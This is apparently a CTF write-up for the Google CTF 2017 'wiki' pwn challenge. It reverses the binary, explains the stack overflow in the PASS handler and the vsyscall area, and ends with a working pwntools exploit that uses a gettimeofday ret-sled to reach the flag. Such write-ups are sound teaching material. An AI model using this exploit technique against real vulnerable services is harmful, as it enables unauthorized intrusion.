- Event: Google Capture The Flag 2017 (Quals)
- Category: pwn
- Points: 243
- Solves: ~30
We're given one file which can be downloaded here.
Task description - Challenge running at wiki.ctfcompetition.com:1337
.
For this task I've used the following set of tools:
- Ida Pro - for disasembling and decompiling
- gdb with pwndbg plugin for debugging
- pwntools - an exploit development library written in Python
The first step I've done was to check the architecture of the binary (to know which version of IDA Pro should I run)
a@x:~/Desktop/wiki$ file wiki
wiki: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=b0bf486a495913bb2702825c5b41d5823f16b9ac, stripped
I've set up IDA Pro to show the same addresses when binary is loaded in the memory when PIE is disabled (for example when you run binary in gdb, or disable ASLR in your system). This can be done by chosing Edit
-> Segments
-> Rebase Program
and typing an address to be used as base - 0x555555554000
.
Below I present my interpretation of reverse engineered binary. My C code is not 100% the same as original binary. I simplified it to avoid distracting readers with irrelevant details.
It does some initialization which I was not analysing. It calls function which I have called real_main
.
void real_main(void *functions_ptr)
{
char user_command[0x81];
void *file_content=NULL;
while(1)
{
memset(user_command,0,0x81);
read_line(stdin, user_command, 0x80);
if (!cmp(user_command, "USER"))
{
if(file_content)
exit(0);
file_content=functions_ptr[1]();
}
if (!cmp(user_command, "PASS"))
functions_ptr[0]();
if (!cmp(user_command, "LIST"))
functions_ptr[2]();
}
}
It takes 1 argument. Debugging revealed that it is an array of pointers to 3 functions which are present in the binary.
pwndbg> telescope 0x7fffffffdfa8
00:0000│ rdi 0x7fffffffdfa8 —▸ 0x555555554c5e ◂— push rbp
01:0008│ 0x7fffffffdfb0 —▸ 0x555555554da1 ◂— push rbp
02:0010│ 0x7fffffffdfb8 —▸ 0x555555554ba5 ◂— push rbx
03:0018│ 0x7fffffffdfc0 ◂— 0x0
04:0020│ 0x7fffffffdfc8 —▸ 0x7ffff7a5b2b1 (__libc_start_main+241) ◂— mov edi, eax
05:0028│ 0x7fffffffdfd0 ◂— 0x0
06:0030│ 0x7fffffffdfd8 —▸ 0x7fffffffe0a8 —▸ 0x7fffffffe3ce ◂— 0x2f612f656d6f682f ('/home/a/')
07:0038│ 0x7fffffffdfe0 ◂— 0x100000000
I named these functions accordingly : command_USER
, command_PASS
and command_LIST
.
This function does exactly what the name states. It reads user input until '\n'
or up to length specified in an argument.
Moreover, it returns the number of bytes read.
Sends list of files in folder ./db
to the client.
To execute this function it's enough to type LIST
after connecting to a running program:
a@x:~$ nc 192.168.43.252 1337
LIST
xmlset_roodkcableoj28840ybtide
Fortimanager_Access
1MB@tMaN
I have also created folder db
with files named like above and filled them with many bytes of value 'a'
.
Of course, contents of these files are not known to me.
char *command_USER()
{
char file_name[132];
memset(file_name,0,132);
strcpy(file_name,"db/");
read_line(stdin, &file_name[3], 128);
if (strchr(&file[3], '/'))
exit(0);
return read_file_whole_or_first_4096_bytes(file);
}
void command_PASS(char *file_content)
{
char password[128];
memset(password, 0, 128);
if (read_line(0, &password, 4096LL) & 7 )// 7? - The length of user-input data must be divizible by 8
exit(0);
is_equal = cmp((char *)&password, data_from_file_1); //cmp returns 1 if both strings are equal
if (is_equal)
{
system("cat flag.txt");
exit(0);
}
}
I created a file flag.txt
and placed fake flag inside.
I didn't find vulnerability when reverse engineering the first time. I started to think where vulnerability can be located.
Security protections of the binary can be listed using checksec command:
pwndbg> checksec
[*] '/home/a/Desktop/wiki/wiki'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Binary is protected with PIE which makes that .text
section is placed at different address on every execution of the program (note that when you run binary in gdb, it disables PIE and also ASLR).
The program use neither heap buffers nor prints user input. It only reads user input to stack buffers and what's more, canaries are not present on the stack. It is reasonable to expect that buffer overflow vulnerability is present.
Indeed, function command_PASS
is prone to buffer overflow. It reads 4096 bytes to password
which is only 128 bytes long.
It is not necessary to create a shellcode using ROP technique. To capture the flag it is enough to jump into code that is a part of command_PASS
function - system("cat flag.txt");
First idea - leak some memory to obtain address of .text
section.
- it is not possible to leak the memory.
Second idea - overwrite only x last bytes of the return address to return to system("cat flag.txt")
- it is not possible because the length of vulnerable user input must be divisible by 8. All variables (including return address) on the stack are aligned to 8 bytes on x86_64 architecture.
Third idea - I remember the vsyscall table - a deprecated method used to accelerate system calls execution. This table is located at the same address during every run, and it contains RET
instructions.
Later, during returning from command_PASS
I displayed stack content. Stack at higher addresses was keeping pointers to various functions and other executable places in .text
section.
Breakpoint *0x555555554cb6
pwndbg> stack 40
00:0000│ rsp 0x7fffffffdcb8 —▸ 0x555555554d28 ◂— jmp 0x555555554ccd
01:0008│ 0x7fffffffdcc0 ◂— 0x0
02:0010│ rbx-7 0x7fffffffdcc8 ◂— 0x5000000000000000
03:0018│ 0x7fffffffdcd0 ◂— 0x535341 /* 'ASS' */
04:0020│ 0x7fffffffdcd8 ◂— 0x0
... ↓
15:00a8│ 0x7fffffffdd60 —▸ 0x555555554a8f ◂— xor ebp, ebp
... ↓
17:00b8│ 0x7fffffffdd70 —▸ 0x555555554e10 ◂— push r15
18:00c0│ rbp 0x7fffffffdd78 —▸ 0x555555554c5e ◂— push rbp
19:00c8│ 0x7fffffffdd80 —▸ 0x555555554da1 ◂— push rbp
1a:00d0│ 0x7fffffffdd88 —▸ 0x555555554ba5 ◂— push rbx
1b:00d8│ 0x7fffffffdd90 ◂— 0x0
1c:00e0│ 0x7fffffffdd98 —▸ 0x7ffff7a33f45 (__libc_start_main+245) ◂— mov edi, eax
1d:00e8│ 0x7fffffffdda0 ◂— 0x0
1e:00f0│ 0x7fffffffdda8 —▸ 0x7fffffffde78 —▸ 0x7fffffffe24a ◂— 0x5800696b69772f2e /* './wiki' */
1f:00f8│ 0x7fffffffddb0 ◂— 0x100000000
20:0100│ 0x7fffffffddb8 —▸ 0x555555554a40 ◂— sub rsp, 0x28
21:0108│ 0x7fffffffddc0 ◂— 0x0
22:0110│ 0x7fffffffddc8 ◂— 0x30cafa3c6197794
23:0118│ 0x7fffffffddd0 —▸ 0x555555554a8f ◂— xor ebp, ebp
24:0120│ 0x7fffffffddd8 —▸ 0x7fffffffde70 ◂— 0x1
25:0128│ 0x7fffffffdde0 ◂— 0x0
... ↓
27:0138│ 0x7fffffffddf0 ◂— 0xfcf3505c7d597794
Stack contains addresses of functions: command_PASS
, command_LIST
, command_USER
and some other places in .text
section.
I could fill the place on the stack between return address (including it) and chosen function (not including it) by RET
instructions from vsyscall table. That way I could jump to chosen address from this stack area.
Next, I viewed command_PASS
in assembly view and realized something that can be the last part of the puzzle.
As a brief digression here, I would like to mention that Linux on x86_64 architecture follows the System V ABI standard. Function calling convention uses the following registers:
- first argument -
RDI
- second argument -
RSI
- 3rd argument -
RDX
- 4th argument -
RCX
- 5th argument -
R8
- 6th argument -
R9
If there are more arguments than 6, they are passed on the stack.
Returning back to the function command_PASS
, you can notice that during RET
, RDI
contains a pointer to password buffer.
The idea is to call jump again to command_PASS
function. RDI
contains data which we know and now this will be the first argument for this function.
Once upon a time, vsyscall area was created to speed up program execution. People came to a conclusion that it is not necessary to enter the kernel mode during some syscalls like gettimeofday
. It can be implemented in user mode. Therefore, an executable area was created, implementing some of the funcionality normally executed in kernel mode via traditional syscall. For this functionality, when process executed syscall, it was was jumping to the vsyscall area instead of going into kernel mode.
Unfortunately, vsyscall area was located at the same address during every run of the program. This proved to be a bad decision from security point of view. Exploit authors had list of several gadgets available even when PIE was enabled.
After some period of time, kernel developers realized that this is wrong, and they started to think how the problem can be minimized. vsyscall could not be removed due to risk of breaking backward compatibility. Instead, they modified vsyscall area in the following way:
- code was replaced by instructions:
mov rax, [syscall_number]; syscall; ret
probably you can see on your system, by attaching to random process:
pwndbg> x/10i 0xffffffffff600000
0xffffffffff600000: mov rax,0x60
0xffffffffff600007: syscall
0xffffffffff600009: ret
0xffffffffff60000a: int3
0xffffffffff60000b: int3
0xffffffffff60000c: int3
0xffffffffff60000d: int3
0xffffffffff60000e: int3
0xffffffffff60000f: int3
0xffffffffff600010: int3
there is also:
pwndbg> x/3i 0xffffffffff600400
0xffffffffff600400: mov rax,0xc9
0xffffffffff600407: syscall
0xffffffffff600409: ret
and:
pwndbg> x/3i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
And that's everything, there is no more code.
Accordingly, the syscalls incluced in vsyscall area are: gettimeofday
, time
, getcpu
.
Position of vsyscall area is still not randomized, but number of usefull gadgets is now reduced.
- One can't simply jump to
RET
(process segfaults). You can only jump to one of threemov
instructions.
Vsyscall area is not normal memory region, but it is emulated by the kernel. It is filled by trap instructions. When process executes this part of memory, kernel is notified of a page fault.
Later, kernel hits function emulate_vsyscall.
Argument address
is an address where process jumped in vsyscall area.
Next, function addr_to_syscall_nr validates whether this address is permitted. Address must be one of 0xffffffffff600000
, 0xffffffffff600400
, 0xffffffffff600800
I would like to mention that currently Linux supports vDSO area. It has the same functionality as vsyscall but the difference is that the localization of it is randomized.
If you are interested in how vsyscall was looking at the beginning, you can look at snipped taken on Ubuntu 11.04 x86_64:
(gdb) x/10i 0xffffffffff600000
0xffffffffff600000: push %rbp
0xffffffffff600001: mov %rsp,%rbp
0xffffffffff600004: push %r13
0xffffffffff600006: push %r12
0xffffffffff600008: mov %rdi,%r12
0xffffffffff60000b: push %rbx
0xffffffffff60000c: mov %rsi,%rbx
0xffffffffff60000f: sub $0x8,%rsp
0xffffffffff600013: test %rdi,%rdi
0xffffffffff600016: je 0xffffffffff6000d5
(gdb) x/10i 0xffffffffff600400
0xffffffffff600400: mov -0x272(%rip),%ecx # 0xffffffffff600194
0xffffffffff600406: push %rbp
0xffffffffff600407: mov %rsp,%rbp
0xffffffffff60040a: test %ecx,%ecx
0xffffffffff60040c: je 0xffffffffff600432
0xffffffffff60040e: mov -0x294(%rip),%edx # 0xffffffffff600180
0xffffffffff600414: test $0x1,%dl
0xffffffffff600417: jne 0xffffffffff60043b
0xffffffffff600419: mov -0x298(%rip),%rax # 0xffffffffff600188
0xffffffffff600420: cmp -0x2a6(%rip),%edx # 0xffffffffff600180
(gdb) x/10i 0xffffffffff600800
0xffffffffff600800: push %rbp
0xffffffffff600801: test %rdx,%rdx
0xffffffffff600804: mov %rdx,%r8
0xffffffffff600807: mov %rsp,%rbp
0xffffffffff60080a: je 0xffffffffff600868
0xffffffffff60080c: mov 0x6d(%rip),%r9 # 0xffffffffff600880
0xffffffffff600813: cmp %r9,(%rdx)
0xffffffffff600816: je 0xffffffffff600858
0xffffffffff600818: cmpl $0x1,0x51(%rip) # 0xffffffffff600870
0xffffffffff60081f: je 0xffffffffff600860
References:
- http://toh.necst.it/hack.lu/2015/exploitable/StackStuff/
- http://lwn.net/Articles/446528/
- https://gist.github.com/kholia/5807150
- https://0xax.gitbooks.io/linux-insides/content/SysCall/syscall-3.html
Looking at assembly code of command_PASS
, we can compute the offset of return address starting from user buffer.
During call, before jumping to function, return address is placed on the stack. At 0x0000555555554C5E
address, RBP
is pushed:
.text:0000555555554C5E push rbp
Later RBX
is pushed:
.text:0000555555554C6E push rbx
And next, RSP
is substracted by 0x88 bytes
.text:0000555555554C6F sub rsp, 88h
The addres of the password buffer is equal to the place of actual RSP
register:
.text:0000555555554C79 mov rsi, rsp ; buf_1
Below is a picture visualizing stack layout.
So you need to send 0x88+0x8+0x8 = 152 bytes before data which starts to overwrite return address.
Another thing that we need to know is the size of area between return address and command_PASS
. When you look at diagram showing stack on RET
in command_PASS
, you can see that return address is placed at position:
00:0000│ rsp 0x7fffffffdcb8 —▸ 0x555555554d28 ◂— jmp 0x555555554ccd
command_PASS
is placed here:
18:00c0│ rbp 0x7fffffffdd78 —▸ 0x555555554c5e ◂— push rbp
First number in a line shows position on stack (in hexadecimal). It is necessary to fill stack fields from 00 to 23. It is 24 8B values.
For computing offset of return address you can also use pwntools.util.cyclic. This is easier method but you need to run debugger one more time :(
I needed to chose one syscall from available syscalls as filler between return address and address to command_PASS
.
At the beginning I have used gettime
which saves UNIX time in memory pointed by RDI
. When I was running exploit on my system, I was providing current time as password in second call to command_PASS
.
It worked on my host, but unfortunately was not working on the CTF server. I was thinking that UNIX time is the same on all PCs but now I realized that it is not true. Later I changed syscall to gettimeofday
. It saves a struct timeval
representing current UTC time, in a memory pointed to by the first argument. I wrote a script which checks the value of memory that is pointed by the RDI
register after this operation.
I disabled ASLR on my system to disable ASLR and PIE, to make debugging easier. Without this the script below would not work.
I ran the binary and set it to listen on port 1337 on my host:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./wiki
The following script was used:
from pwn import *
r=remote("localhost",1337)
r.sendline('USER')
r.sendline('Fortimanager_Access')
r.sendline('PASS')
gdb.attach('wiki','''
b system
b *0x0000555555554C5E
continue
x/10b $rdi
continue
''')
gettimeofday=0xffffffffff600800
ret=p64(gettimeofday)
payload='a'*(8*19)+ret*24
#payload = ROP which contains 24 * 0xffffffffff600800 (mov eax, SYS_gettimofday; syscall; ret)
r.sendline(payload)
I run this script several times and it gives output similar to this:
Breakpoint 2, 0x0000555555554c5e in ?? ()
0x7fffffffdf90: 3 0 0 0 97 97 97 97
0x7fffffffdf98: 97 97
The value of 3
in above output changes between 0 to 7 at every execution.
It means that the syscall gettimeofday
modified first 4 bytes pointed by RDI
.
Now I can send password which is equal to this buffer, first byte is different but I can assume that is equal to 0 and run exploit several times.
Algorithm comparing passwords stops at null byte, so we can send 8 "\x00"
as password.
Now, we can modify this script to do the job mentioned above:
from pwn import *
r=remote("localhost",1337)
r.sendline('USER')
r.sendline('Fortimanager_Access')
r.sendline('PASS')
gettimeofday=0xffffffffff600800
ret=p64(gettimeofday)
payload='a'*(8*19)+ret*24
#payload = ROP which contains 24 * 0xffffffffff600800 (mov eax, SYS_gettimofday; syscall; ret)
r.sendline(payload)
r.sendline("\x00"*8) # sending password
print r.recvline()
After running it for the second time, it prints my fake flag:
a@x:~/Desktop/wiki$ sudo python exploit.py
[+] Opening connection to localhost on port 1337: Done
AGA{lUb1_n4l3sn1ki}
After modyfying line r=remote(...
to connect to google address, it gives us real flag which is:
CTF{NoLeaksFromThisPipe}
Below is a visualization of the exploit. I hope that this helps when some parts are less understandable: